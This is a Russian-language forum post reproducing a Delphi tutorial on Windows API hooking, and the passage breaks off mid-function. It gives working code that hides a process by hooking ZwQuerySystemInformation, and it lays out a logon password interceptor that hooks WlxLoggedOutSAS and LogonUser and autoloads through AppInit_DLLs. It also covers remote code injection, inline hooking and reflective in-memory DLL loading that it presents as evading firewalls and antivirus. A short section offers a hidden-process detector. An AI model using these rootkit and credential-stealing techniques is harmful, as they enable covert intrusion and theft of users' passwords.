Reserved2: array [0..1] of dword;
VmCounters: VM_COUNTERS;
IoCounters: IO_COUNTERS; // Windows 2000 only
Threads: array [0..0] of SYSTEM_THREADS;
end;
Скрытие процессов похоже на скрытие файлов. Мы должны изменить NextEntryDelta записи предшествующей записи скрываемого процесса. Обычно не требуется скрывать первую запись, т.к. это процесс Idle.*
Простой обработчик ZwQuerySystemInformation скрывающий процесс winlogon.exe будет выглядеть так:
Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Info, Prev: PSYSTEM_PROCESSES;
begin
Result := TrueZwQuerySystemInformation(ASystemInformationClass,
ASystemInformation,
ASystemInformationLength,
AReturnLength);
if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
(Result = STATUS_SUCCESS) then
begin
Info := ASystemInformation;
while(Info^.NextEntryDelta > 0) do
begin
Prev := Info;
Info := pointer(dword(Info) + Info^.NextEntryDelta);
if lstrcmpiw(Info^.ProcessName.Buffer, 'winlogon.exe') = 0 then
Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
end;
end;
end;
В общем, мы кратко рассмотрели способ скрытия файлов и процессов.

В завершении, приведу пример программы перехватывающей пароли на вход в Windows и при запуске программ от имени пользователя.
Для начала немного теории: при входе пользователя в систему процесс Winlogon.exe проводит его авторизацию через функции библиотеки msgina.dll. Конкретно, нас интересует функция WlxLoggedOutSAS вызывающаяся при входе пользователя в систему.
Вот прототип этой функции:
WlxLoggedOutSAS: Function(pWlxContext: pointer;
dwSasType: dword;
pAuthenticationId: pointer;
pLogonSid: pointer;
pdwOptions,
phToken: PDWORD;
pMprNotifyInfo: PWLX_MPR_NOTIFY_INFO;
pProfileointer): dword; stdcall;
Функции передается структура WLX_MPR_NOTIFY_INFO содержащая в себе имя пользователя, его пароль и домен.
PWLX_MPR_NOTIFY_INFO = ^WLX_MPR_NOTIFY_INFO;
WLX_MPR_NOTIFY_INFO = packed record
pszUserName: PWideChar;
pszDomain: PWideChar;
pszPassword: PWideChar;
pszOldPassword: PWideChar;
end;
Мы будем перехватывать функцию WlxLoggedOutSAS в процессе Winlogon.exe и сохранять полученные пароли в файле.
В других процессах мы будем перехватывать LogonUserA, LogonUserW и CreateProcessWithLogonW - эти функции используются для запуска процессов от имени другого пользователя.
function LogonUserA(lpszUsername, lpszDomain, lpszPassword: PAnsiChar;
dwLogonType, dwLogonProvider: DWORD;
var phToken: THandle): BOOL; stdcall; external 'advapi32.dll';
function LogonUserW(lpszUsername, lpszDomain, lpszPassword: PWideChar;
dwLogonType, dwLogonProvider: DWORD;
var phToken: THandle): BOOL; stdcall; external 'advapi32.dll';
Function CreateProcessWithLogonW(const lpUsername: PWideChar;
const lpDomain: PWideChar;
const lpPassword: PWideChar;
dwLogonFlags: DWORD;
const lpApplicationName: PWideChar;
lpCommandLine: PWideChar;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
const lpCurrentDirectory: PWideChar;
lpStartupInfo: PStartupInfo;
lpProcessInfo: PProcessInformation): Boolean;
stdcall; external 'advapi32.dll';
Перехват этих функций поместим в DLL, глобализатор делать не будем, просто пропишем нашу библиотеку в раздел реестра*
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
параметр AppInit_DLLs, тип REG_SZ
Тогда эта библиотека будет автоматически подгружена к любому приложению, которое имеет в своей памяти user32.dll.
В приложении к статье вы можете скачать полные исходники программы ****Logon, которая перехватывает пароли данным методом.

Защита:
Описанный мной метод перехвата API функций может быть использован для написания чрезвычайно опасных вредоносных программ.
Во избежание этого, я приведу здесь разработанный мной метод поиска скрытых процессов.
Метод состоит в том, что список процессов получается не с помощью API функций, а непосредственно через системные вызовы ядра Windows.
Недостаток данного метода состоит в том, что интерфейсы ядра не документированы, и узнать их можно только дизассемблируя системные библиотеки.
Также функции ядра могут различаться в разных версиях Windows, поэтому работоспособность этого метода везде не гарантируется.
Приведенный ниже код получает список процессов с помощью вызова интерфейсов ядра:
Procedure GetProcessList(var NameList, HandleList: TList);
asm
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, edx
mov ebx,eax
push $05
call @GetInfoTable
jmp @InfoTableEnd
@GetInfoTable:
push ebp
mov ebp, esp
sub esp, $04h
push esi
push 0
pop dword ptr [ebp - $04]
mov esi, $4000
@GetInfoTable_doublespace:
shl esi, $01
push esi
push 0
call LocalAlloc
test eax, eax
jz @GetInfoTable_failed
mov [ebp-$04], eax
push 0
push esi
push eax
push dword ptr [ebp + $08]
call @OpenKernelData
jmp @Cont
@OpenKernelData:
mov eax, $AD
call @SystemCall
ret $10
@SystemCall:
mov edx, esp
sysenter
@Cont:
test eax, $C0000000
jz @GetInfoTable_end
cmp eax, $C0000004
jnz @GetInfoTable_failed
push dword ptr [ebp - $04]
call LocalFree
jmp @GetInfoTable_doublespace
@GetInfoTable_failed:
push 0
pop dword ptr [ebp - $04]
@GetInfoTable_end:
mov eax,[ebp - $04]
pop esi
leave
ret $04
@InfoTableEnd:
mov [edi], eax
@FindData:
mov edx, [eax + $3C]
mov eax, [ebx]
call TList.Add //NameList.Add
mov eax, [edi]
lea edx, [eax + $44]
mov eax, [esi]
call TList.Add //HandleList.Add
mov eax, [edi]
cmp [eax], 0
jz @EndData
add eax, [eax]
mov [edi], eax
jmp @FindData
@EndData:
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
end;
NameList будет содержать указатели PWideChar на имена процессов, а HandleList на их PID. Данный код проверен в Windows XP sp0,sp1 и sp2. В Windows 2000 он работать не будет, так как интерфейс системных вызовов там сильно отличается от XP. Но от перехвата API в ядре этот метод не спасет.
Этот метод поиска скрытых процессов реализован в моей программе ProcessMaster, которую вы можете скачать в приложении к статье.
1
4033 / 2323 / 292
Регистрация: 03.02.2011
Сообщений: 5,066
Записей в блоге: 10
23.08.2013, 23:49 12
Часть два:
Кликните здесь для просмотра всего текста
Перехват API функций в Windows NT (часть 2). Методы внедрения кода.*



В первой части статьи мы рассмотрели общие принципы API перехвата, и освоили метод перехвата заменой начальных байт функции. Для перехвата в другом процессе мы использовали метод внедрения DLL. Данный метод прост, но не всегда эффективен и не обеспечивает высокой скрытности внедрения.
В этой статье мы рассмотрим более эффективные способы перехвата, а в особенности приёмы написания внедряемого кода. Также в конце статьи я рассмотрю альтернативные методы внедрения кода в чужой процесс.
Все приемы написания внедряемого кода описанные здесь предназначены для использования в Borland Delphi (6, 7, 2005), но с минимальными изменениями могут быть использованы и в среде Microsoft Visual C++. В среде Borland C++ Builder некоторые приведенные приёмы неосуществимы (в связи с особенностями генерации кода компилятором).


Требования к внедряемому коду:
1) Базонезависимость (адрес загрузки кода в чужой процесс неизвестен заранее).
2) Независимость от RTL (Run Time Library).
3) Использование только библиотек загруженных в АП (адресное пространство) целевого процесса.
4) Наличие в внедряемом коде всех необходимых для него данных.
Внедряемый код не должен содержать переходов по абсолютным адресам, а также абсолютных ссылок на данные, импортировать функции из DLL можно динамически, через LoadLibrary и GetProcAddress.*
Адреса функций из ntdll.dll и kernel32.dll можно передавать в внедряемый код из исходного процесса, т.к. эти библиотеки всегда загружаются по одинаковым адресам во всех процессах. Другие системные библиотеки (user32.dll, shell32.dll) тоже часто загружаются по одинаковым адресам, но так происходит только в том случае, если исходный и целевой процессы импортируют эти библиотеки статически, в случае же динамического импорта в следствии коллизии модулей они могут быть загружены по разным адресам. Все остальные библиотеки обычно загружаются по разным адресам в разных процессах даже при использовании статического импорта. При написании внедряемого кода следует учесть, что единственная DLL которая обязательно должна присутствовать в адресном пространстве любого процесса - это ntdll.dll, эта DLL загружается даже при отсутствии импорта в исполнимом файле, и представляет собой слой Native API, переходники к функциям ядра Windows.
Компилятор Delphi обычно генерирует в процедурах короткие переходы (JMP SHORT), но при большом размере процедуры могут появиться переходы по абсолютным адресам, поэтому внедряемый код желательно писать используя короткие процедуры, используя как можно меньше условий и циклов.*
В случае возникновения проблем с внедряемым кодом, необходимо воспользоваться отладчиком и убедиться в том, что сгенерированный код удовлетворяет вышеприведенным условиям.
Если писать внедряемый код на delphi, то в нем нельзя использовать объекты, строки типа string, а также любые другие типы данных опирающиеся на функциональность Delphi Run Time Library. Вместо string следует использовать PChar и динамически, с помощью VirtualAlloc выделять память под строку, либо хранить строку в стеке объявляя её в локальных переменных как array of Char.


Использование API из внедряемого кода:
Если внедряемый код использует функции экспортируемые библиотеками отличными от ntdll.dll, то необходимо убедиться в наличии этих библиотек в АП целевого процесса, и при необходимости загрузить их.
Для загрузки библиотеки можно использовать функцию LdrLoadDll из ntdll.dll.
function LdrLoadDll(szcwPath: PWideChar;
pdwLdrErr: dword;
pUniModuleName: PUnicodeString;
pResultInstance: PDWORD): NTSTATUS;
stdcall; external 'ntdll.dll';
Нас интересует параметр pUniModuleName представляющий из себя указатель на строку типа UnicodeString в которой передается имя загружаемой DLL. По указателю pResultInstance будет сохранен адрес MZ заголовка загруженной DLL (параметр hInstance).
Следующий код загружает DLL аналогично функции kernel32 LoadLibraryW:
Function MyLoadLibrary(lpLibFileName: PWideChar): HMODULE;
var
uName: TUnicodeString;
begin
RtlInitUnicodeString(@uName, lpLibFileName);
if (LdrLoadDll(nil, 0, @uName, @Result) > 0) then Result := 0;
RtlFreeUnicodeString(@uName);
end;
Для получения адреса функции чледует использовать LdrGetProcedureAddress.
function LdrGetProcedureAddress(hModule: dword;
dOrdinal: DWORD;
psName: PAnsiString;
ppProcedure: ppointer): NTStatus;
stdcall; external 'ntdll.dll';
Если необходимо обеспечить максимальную скрытность перехвата, то вообще лучше использовать во внедряемом коде только функции Native API.


Внедрение процедуры в процесс:
Так как внедрение участков кода и связанных с ними данных требует большого количества однотипных операций, введем процедуры упрощающие программирование подобных вещей.*

Процедура копирования участка памяти в процесс:*
function InjectMemory(Process: dword; Memory: pointer; Size: dword): pointer;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process, nil, Size, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Memory, Size, BytesWritten);
end;

Эта процедура предельно проста, она принимает хэндл открытого процесса, указатель на данные в текущем процессе и размер данных, а возвращает указатель на данные в целевом процессе.
Внедрение процедуры в целевой процесс:
program InjectCode;
uses
Windows,
advApiHook;
type
TRemoteInfo = record
LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall;
GetProcAddress: function(hModule: HMODULE;
lpProcName: LPCSTR): FARPROC; stdcall;
Kernel32 : array[0..16] of Char;
User32 : array[0..16] of Char;
MessageBoxA : array[0..16] of Char;
nExitThread : array[0..16] of Char;
Text : array[0..16] of Char;
Title : array[0..16] of Char;
end;
{ Процедура внедряемая в процесс }
procedure RemoteThread(RemoteInfo: pointer); stdcall;
var
MessageBox: function(hWnd: HWND; lpText,
lpCaption: PChar; uType: UINT): Integer; stdcall;
ExitThread: procedure(uExitCode: UINT); stdcall;
begin
with TRemoteInfo(RemoteInfo^) do
begin
@MessageBox := GetProcAddress(LoadLibrary(User32), MessageBoxA);
@ExitThread := GetProcAddress(LoadLibrary(Kernel32), nExitThread);
MessageBox(0, Text, Title, 0);
ExitThread(0);
end;
end;
procedure RemoteThreadEnd; begin end; //метка конца кода
var
RemoteInfo: TRemoteInfo;
pInfo, CodeAdr: pointer;
TID: dword;
Process: dword;
StartInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
//Запускаем процесс
ZeroMemory(@StartInfo, SizeOf(TStartupInfo));
StartInfo.cb := SizeOf(TStartupInfo);
CreateProcess(nil, 'notepad.exe', nil, nil, False, 0,
nil, nil, StartInfo, ProcInfo);
Process := ProcInfo.hProcess;
//Заполняем структуру передаваемую внедряемому коду
lstrcpy(RemoteInfo.User32, 'user32.dll');
lstrcpy(RemoteInfo.Kernel32, 'kernel32.dll');
lstrcpy(RemoteInfo.MessageBoxA, 'MessageBoxA');
lstrcpy(RemoteInfo.nExitThread, 'ExitThread');
lstrcpy(RemoteInfo.Text, 'Hello World!');
lstrcpy(RemoteInfo.Title, 'Injected MessageBox');
//получаем адреса используемых API
@RemoteInfo.LoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'),
'LoadLibraryA');
@RemoteInfo.GetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'),
'GetProcAddress');
//копируем в процесс структуру с данными
pInfo := InjectMemory(Process, @RemoteInfo, SizeOf(TRemoteInfo));
//копируем в процесс внедряемый код
CodeAdr := InjectMemory(Process, @RemoteThread,
dword(@RemoteThreadEnd) - dword(@RemoteThread));
//запускаем внедренный код
CreateRemoteThread(Process, nil, 0, CodeAdr, pInfo, 0, TID);
end.

Перед внедрением кода процедуры, необходимо скопировать в память целевого процесса структуру с данными используемыми внедряемым кодом. В этой структуре необходимо передать адреса функций LoadLibary и GetProcAddress, через которые внедряемый код будет загружать используемые библиотеки и получать адреса используемых функций. Все используемые в коде строки также передаются через структуру, так как при записи строк в коде программы компилятор размещает их в секции данных, и генерирует ссылки на них по абсолютным адресам.
Для облегчения программирования подобных вещей введем еще одну процедуру:
function InjectThread(Process: dword; Thread: pointer; Info: pointer;
InfoLen: dword; Results: boolean): THandle;
var
pThread, pInfo: pointer;
BytesRead, TID: dword;
begin
pInfo := InjectMemory(Process, Info, InfoLen);
pThread := InjectMemory(Process, Thread, SizeOfProc(Thread));
Result := CreateRemoteThread(Process, nil, 0, pThread, pInfo, 0, TID);
if Results then
begin
WaitForSingleObject(Result, INFINITE);
ReadProcessMemory(Process, pInfo, Info, InfoLen, BytesRead);
end;
end;

Эта процедура копирует в целевой процесс внедряемый код и структуру с данными для него, после чего запускает внедренный код.
Принимаемые параметры:
Process* - хэндл открытого процесса.
Thread **- указатель на внедряемый код в текущем процессе.
Info******* - указатель на структуру с данными.
InfoLen*- размер структуры с данными.
Results*- необходимость возврата результата. (если true, то функция ожидает завершения удаленного потока и копирует обратно структуру с данными) .

Для определения размера внедряемого кода используется функция SizeOfProc, которая приведена далее.*




Совершенствуем метод перехвата:
В предыдущей статье был описан метод перехвата путем замены первых 5 байт перехватываемой функции своими, для вызова реальной (true) функции нужно было установить обратно замененные байты, а после вызова - снова установить перехват.
Недостаток этого метода в том, что в многопоточных приложениях в моменты снятия - установки перехвата возможен вызов функции другим потоком напрямую, или возникновение критической ошибки в случае прерывания потока в момент записи участка кода. Эти недостатки можно устранить останавливая и запуская побочные потоки приложения каждый раз при вызове true функции, но это приведет к значительному снижению производительности, либо даже к взаимным блокировкам потоков (например при перехвате WaitForSingleObject).*
Для устранения недостатков этого метода, следует его немного модифицировать. Необходимо выделить в памяти буфер, и скопировать туда участок начала перехватываемой функции содержащий целое число команд и имеющий длину >= 5 байт, после чего в его конце поставить jmp на следующую команду перехватываемой функции после сохраненного участка. После чего сформированный таким образом код можно будет вызывать в качестве true функции.*
Этот метод имеет все достоинства и лишен недостатков предыдущего. Он обеспечивает корректную работу в многопоточном приложении и быстрый вызов true функций. Написание кода перехватчиков в этом случае также значительно упрощается.
Все эти действия производит следующая функция:*
{
Установка перехвата функции.
TargetProc - адрес перехватываемой функции,
NewProc - адрес функции замены,
OldProc - здесь будет сохранен адрес моста к старой функции.
}
function HookCode(TargetProc, NewProc: pointer; var OldProc: pointer): boolean;
var
Address: dword;
OldProtect: dword;
OldFunction: pointer;
Proc: pointer;
begin
Result := False;
try
Proc := TargetProc;
//вычисляем адрес относительного (jmp near) перехода на новую функцию
Address := dword(NewProc) - dword(Proc) - 5;
VirtualProtect(Proc, 5, PAGE_EXECUTE_READWRITE, OldProtect);
//создаем буффер для true функции
GetMem(OldFunction, 255);
//копируем первые 4 байта функции
dword(OldFunction^) := dword(Proc);
byte(pointer(dword(OldFunction) + 4)^) := SaveOldFunction(Proc, pointer(dword(OldFunction) + 5));
//byte(pointer(dword(OldFunction) + 4)^) - длина сохраненного участка
byte(Proc^) := $e9; //устанавливаем переход
dword(pointer(dword(Proc) + 1)^) := Address;
VirtualProtect(Proc, 5, OldProtect, OldProtect);
OldProc := pointer(dword(OldFunction) + 5);
except
Exit;
end;
Result := True;
end;
Для сохранения участка содержащего целое число команд используется функция SaveOldFunction:
function SaveOldFunction(Proc: pointer; Old: pointer): dword;
var
SaveSize, Size: dword;
Next: pointer;
begin
SaveSize := 0;
Next := Proc;
//сохраняем следующие несколько коротких, либо одну длинную инструкцию
while SaveSize < 5 do
begin
Size := SizeOfCode(Next);
Next := pointer(dword(Next) + Size);
Inc(SaveSize, Size);
end;
CopyMemory(Old, Proc, SaveSize);
//генерируем переход на следующую инструкцию после сохраненного участка
byte(pointer(dword(Old) + SaveSize)^) := $e9;
dword(pointer(dword(Old) + SaveSize + 1)^) := dword(Next) - dword(Old) - SaveSize - 5;
Result := SaveSize;
end;
Для снятия перехвата достаточно прочитать количество сохраненных байт и записать их обратно в начало перехватываемой функции.*
Это делает следующий код:
{
Снятие перехвата установленного по HookCode,
OldProc - адрес моста возвращенный функцией HookCode.
}
function UnhookCode(OldProc: pointer): boolean;
var
OldProtect: dword;
Proc: pointer;
SaveSize: dword;
begin
Result := True;
try
Proc := pointer(dword(pointer(dword(OldProc) - 5)^));
SaveSize := byte(pointer(dword(OldProc) - 1)^);
VirtualProtect(Proc, 5, PAGE_EXECUTE_READWRITE, OldProtect);
CopyMemory(Proc, OldProc, SaveSize);
VirtualProtect(Proc, 5, OldProtect, OldProtect);
FreeMem(pointer(dword(OldProc) - 5));
except
Result := False;
end;
end;
Так как чаще всего приходиться перехватывать функции экспортируемые DLL, то для упрощения задачи введем еще одну функцию:*
{
Установка перехвата функции из Dll в текущем процессе.
lpModuleName - имя модуля,
lpProcName - имя функции,
NewProc - адрес функции замены,
OldProc - здесь будет сохранен адрес моста к старой функции.
В случае отсутствия модуля в текущем АП, будет сделана попытка его загрузить.
}
function HookProc(lpModuleName, lpProcName: PChar;
NewProc: pointer; var OldProc: pointer): boolean;
var
hModule: dword;
fnAdr: pointer;
begin
Result := false;
hModule := GetModuleHandle(lpModuleName);
if hModule = 0 then hModule := LoadLibrary(lpModuleName);
if hModule = 0 then Exit;
fnAdr := GetProcAddress(hModule, lpProcName);
if fnAdr = nil then Exit;
Result := HookCode(fnAdr, NewProc, OldProc);
end;



Внедрение процесса целиком:
Рассмотренный здесь метод внедрения отдельных процедур кода непрост по причине необходимости четко разграничить код и данные и формировать их отдельно. Но можно сделать куда проще - внедрить в адресное пространство целевого процесса весь образ текущего процесса целиком (код данные ресурсы и.т.д.) после чего запустить на выполнение и работать также, как и в своем процессе. Этот метод позволяет работать во внедряемом кода с RTL и применять обьектно ориентированное программирование, к тому же сам метод чрезвычайно прост для применения.
Для внедрения образа текущего процесса введем следующую функцию:
{
Внедрение образа текущего процесса в чужое адресное пространство.
EntryPoint - адрес точки входа внедренного кода.
}
function InjectThisExe(Process: dword; EntryPoint: pointer): boolean;
var
Module, NewModule: pointer;
Size, TID: dword;
hThread : dword;
BytesWritten: dword;
begin
Result := False;
Module := pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(pointer(integer(Module) +
PImageDosHeader(Module)._lfanew + SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
NewModule := VirtualAllocEx(Process, Module, Size, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if NewModule = nil then exit;
WriteProcessMemory(Process, NewModule, Module, Size, BytesWritten);
hThread := CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID);
if hThread <> 0 then Result := True;
end;
Она копирует полный образ исполнимого файла на диске в АП целевого процесса и запускает его выполнение в отдельном потоке с точки EntryPoint.
То же самое можно произвести и с любым другим образом исполнимого файла:
{
Внедрение образа Exe файла в чужое адресное пространство и запуск его точки входа.
Data - адрес образа файла в текущем процессе.
}
function InjectExe(Process: dword; Data: pointer): boolean;
var
Module, NewModule: pointer;
EntryPoint: pointer;
Size, TID: dword;
hThread : dword;
BytesWritten: dword;
Header: PImageOptionalHeader;
begin
Result := False;
Header := PImageOptionalHeader(pointer(integer(Data) +
PImageDosHeader(Data)._lfanew + SizeOf(dword) +
SizeOf(TImageFileHeader)));
Size := Header^.SizeOfImage;
Module := pointer(Header^.ImageBase);
EntryPoint := pointer(Header^.ImageBase + Header^.AddressOfEntryPoint);

NewModule := VirtualAllocEx(Process, Module, Size, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if NewModule = nil then exit;
WriteProcessMemory(Process, NewModule, Module, Size, BytesWritten);
hThread := CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID);
if hThread <> 0 then Result := True;
end;
Приведем пример использования этого метода:
program InjectProcess;
{$IMAGEBASE $13140000}
uses
Windows,
advApiHook;
var
StartInf: TStartupInfo;
ProcInf: TProcessInformation;
function Main(dwEntryPoint: Pointer): dword; stdcall;
begin
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
MessageBox(0, 'Hello World', 'Process Injection', 0);
ExitThread(0);
end;
begin
//запускаем блокнот
ZeroMemory(@StartInf, SizeOf(TStartupInfo));
CreateProcess(nil, 'notepad.exe', nil, nil, false,
0, nil, nil, StartInf, ProcInf);
//внедряем в него образ текущего процесса
InjectThisExe(ProcInf.hProcess, @Main);
end.

В этом коде следует обратить внимание на директиву {$IMAGEBASE $13140000}, она заставляем компилятор генерировать исполняемый образ с базой загрузки 13140000h. Адрес ImageBase следует выбирать таким, чтобы память в целевом процессе по этому адресу не была занята. Также перед тем, как использовать какие либо API вызовы из внедряемого кода, следует загрузить используемые DLL библиотеки с помощью LoadLibrary, так как в целевом процессе их может не оказаться.
Я думаю, вы уже заметили, что этот метод имеет одно единственное ограничение - это невозможность загрузки по адресу отличному от ImageBase. Если по этому адресу память в целевом процессе будет занята, то можно её освободить с помощью VirtualFree, но ни к чему хорошему это не приведет, так поступать можно только тогда, когда нужно полностью заменить целевой процесс, и перед этим необходимо остановить все его потоки. Тогда после загрузки исполняемого образа можно будет освободить всю связанную с заменяемым процессом память и уничтожить все его потоки. Также к недостаткам этого метода можно отнести необходимость загрузки библиотек используемых внедряемым процессом, а это значительно снижает скрытность перехвата.
Существует способ преодолеть привязку внедряемого процесса к ImageBase, для этого нужно заставить компилятор генерировать в исполнимом файле reloc секцию, а после загрузки образа по произвольному адресу настраивать релоки (процедура настройки релоков приведена далее).



Усовершенствованный метод DLL Injection:
Для перехвата API в другом процессе весьма удобен и эффективен метод внедрения в него своей DLL, но этот метод имеет некоторые недостатки, так как необходимо хранить DLL на диске, и загрузку лишней DLL легко обнаружить программами типа PE-Tools. Также на лишнюю DLL могут заругаться антивирусы и фаерволлы (например Outpost Fierwall) что тоже нежелательно.
Но существует метод позволяющий загрузить DLL в другой процесс более незаметным способом. Для этого нужно внедрить в процесс образ этой DLL, затем настроить у нее таблицу импорта и релоки, после чего выполнить ее точку входа. Этот метод позволяет не хранить DLL на диске, а проводить действия с ней исключительно в памяти, также эта DLL не будет видна в списке загруженных процессом модулей, и на нее не заругается фаерволл.

Следующий код копирует и настраивает DLL в выделенный участок чужого адресного пространства:*
{
Отображение Dll на чужое адресное пространство, настройка импорта и релоков.
Process - хэндл процесса для отображения,
Dest - адрес отображения в процессе Process,
Src - адрес образа Dll в текущем процессе.
}
function MapLibrary(Process: dword; Dest, Src: pointer): TLibInfo;
var
ImageBase: pointer;
ImageBaseDelta: integer;
ImageNtHeaders: PImageNtHeaders;
PSections: ^TSections;
SectionLoop: integer;
SectionBase: pointer;
VirtualSectionSize, RawSectionSize: dword;
OldProtect: dword;
NewLibInfo: TLibInfo;
{ Настройка релоков }
procedure ProcessRelocs(PRelocs:PImageBaseRelocation);
var
PReloc: PImageBaseRelocation;
RelocsSize: dword;
Reloc: PWord;
ModCount: dword;
RelocLoop: dword;
begin
PReloc := PRelocs;
RelocsSize := ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
while dword(PReloc) - dword(PRelocs) < RelocsSize do
begin
ModCount := (PReloc.SizeOfBlock - Sizeof(PReloc^)) div 2;
Reloc := pointer(dword(PReloc) + sizeof(PReloc^));
for RelocLoop := 0 to ModCount - 1 do
begin
if Reloc^ and $f000 <> 0 then Inc(pdword(dword(ImageBase) +
PReloc.VirtualAddress +
(Reloc^ and $0fff))^, ImageBaseDelta);
Inc(Reloc);
end;
PReloc := pointer(Reloc);
end;
end;
{ Настройка импорта Dll в чужом процессе}
procedure ProcessImports(PImports: PImageImportDescriptor);
var
PImport: PImageImportDescriptor;
Import: pdword;
PImportedName: pchar;
ProcAddress: pointer;
PLibName: pchar;
ImportLoop: integer;
function IsImportByOrdinal(ImportDescriptor: dword): boolean;
begin
Result := (ImportDescriptor and IMAGE_ORDINAL_FLAG32) <> 0;
end;
begin
PImport := PImports;
while PImport.Name <> 0 do
begin
PLibName := pchar(dword(PImport.Name) + dword(ImageBase));
if not Find(NewLibInfo.LibsUsed, PLibName, ImportLoop) then
begin
InjectDll(Process, PLibName);
Add(NewLibInfo.LibsUsed, PLibName);
end;
if PImport.TimeDateStamp = 0 then
Import := pdword(pImport.FirstThunk + dword(ImageBase))
else
Import := pdword(pImport.OriginalFirstThunk + dword(ImageBase));
while Import^ <> 0 do
begin
if IsImportByOrdinal(Import^) then
ProcAddress := GetProcAddressEx(Process, PLibName, PChar(Import^ and $ffff), 4)
else
begin
PImportedName := pchar(Import^ + dword(ImageBase) + IMPORTED_NAME_OFFSET);
ProcAddress := GetProcAddressEx(Process, PLibName, PImportedName, Length(PImportedName));
end;
Ppointer(Import)^ := ProcAddress;
Inc(Import);
end;
Inc(PImport);
end;
end;
begin
ImageNtHeaders := pointer(dword(Src) + dword(PImageDosHeader(Src)._lfanew));
ImageBase := VirtualAlloc(Dest, ImageNtHeaders.OptionalHeader.SizeOfImage,
MEM_RESERVE, PAGE_NOACCESS);

ImageBaseDelta := dword(ImageBase) - ImageNtHeaders.OptionalHeader.ImageBase;
SectionBase := VirtualAlloc(ImageBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders,
MEM_COMMIT, PAGE_READWRITE);
Move(Src^, SectionBase^, ImageNtHeaders.OptionalHeader.SizeOfHeaders);
VirtualProtect(SectionBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders,
PAGE_READONLY, OldProtect);
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) +
ImageNtHeaders.FileHeader.SizeOfOptionalHeader);

for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
VirtualSectionSize := PSections[SectionLoop].Misc.VirtualSize;
RawSectionSize := PSections[SectionLoop].SizeOfRawData;
if VirtualSectionSize < RawSectionSize then
begin
VirtualSectionSize := VirtualSectionSize xor RawSectionSize;
RawSectionSize := VirtualSectionSize xor RawSectionSize;
VirtualSectionSize := VirtualSectionSize xor RawSectionSize;
end;
SectionBase := VirtualAlloc(PSections[SectionLoop].VirtualAddress +
pchar(ImageBase), VirtualSectionSize,
MEM_COMMIT, PAGE_READWRITE);
FillChar(SectionBase^, VirtualSectionSize, 0);
Move((pchar(src) + PSections[SectionLoop].pointerToRawData)^,
SectionBase^, RawSectionSize);
end;
NewLibInfo.DllProcAddress := pointer(ImageNtHeaders.OptionalHeader.AddressOfEntryPoint +
dword(ImageBase));
NewLibInfo.DllProc := TDllEntryProc(NewLibInfo.DllProcAddress);

NewLibInfo.ImageBase := ImageBase;
NewLibInfo.ImageSize := ImageNtHeaders.OptionalHeader.SizeOfImage;
SetLength(NewLibInfo.LibsUsed, 0);
if ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress <> 0
then ProcessRelocs(pointer(ImageNtHeaders.OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
VirtualAddress + dword(ImageBase)));
if ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress <> 0
then ProcessImports(pointer(ImageNtHeaders.OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
VirtualAddress + dword(ImageBase)));

for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
VirtualProtect(PSections[SectionLoop].VirtualAddress + pchar(ImageBase),
PSections[SectionLoop].Misc.VirtualSize,
GetSectionProtection(PSections[SectionLoop].Characteristics),
OldProtect);
Result := NewLibInfo;
end;
Теперь для внедрения DLL в целевой процесс этим способом можно использовать следующую функцию:
{
Внедрение Dll в процесс методом инжекции кода и настройки образа Dll в памяти.
Данный метод внедрения более скрытен, и не обнаруживается фаерволлами.
}
function InjectDllEx(Process: dword; Src: pointer): boolean;
type
TDllLoadInfo = packed record
Module: pointer;
EntryPoint: pointer;
end;
var
Lib: TLibInfo;
BytesWritten: dword;
ImageNtHeaders: PImageNtHeaders;
pModule: pointer;
Offset: dword;
DllLoadInfo: TDllLoadInfo;
hThread: dword;
{ процедура передачи управления на точку входа dll }
procedure DllEntryPoint(lpParameter: pointer); stdcall;
var
LoadInfo: TDllLoadInfo;
begin
LoadInfo := TDllLoadInfo(lpParameter^);
asm
xor eax, eax
push eax
push DLL_PROCESS_ATTACH
push LoadInfo.Module
call LoadInfo.EntryPoint
end;
end;
begin
Result := False;
ImageNtHeaders := pointer(dword(Src) + dword(PImageDosHeader(Src)._lfanew));
Offset := $10000000;
repeat
Inc(Offset, $10000);
pModule := VirtualAlloc(pointer(ImageNtHeaders.OptionalHeader.ImageBase + Offset),
ImageNtHeaders.OptionalHeader.SizeOfImage,
MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if pModule <> nil then
begin
VirtualFree(pModule, 0, MEM_RELEASE);
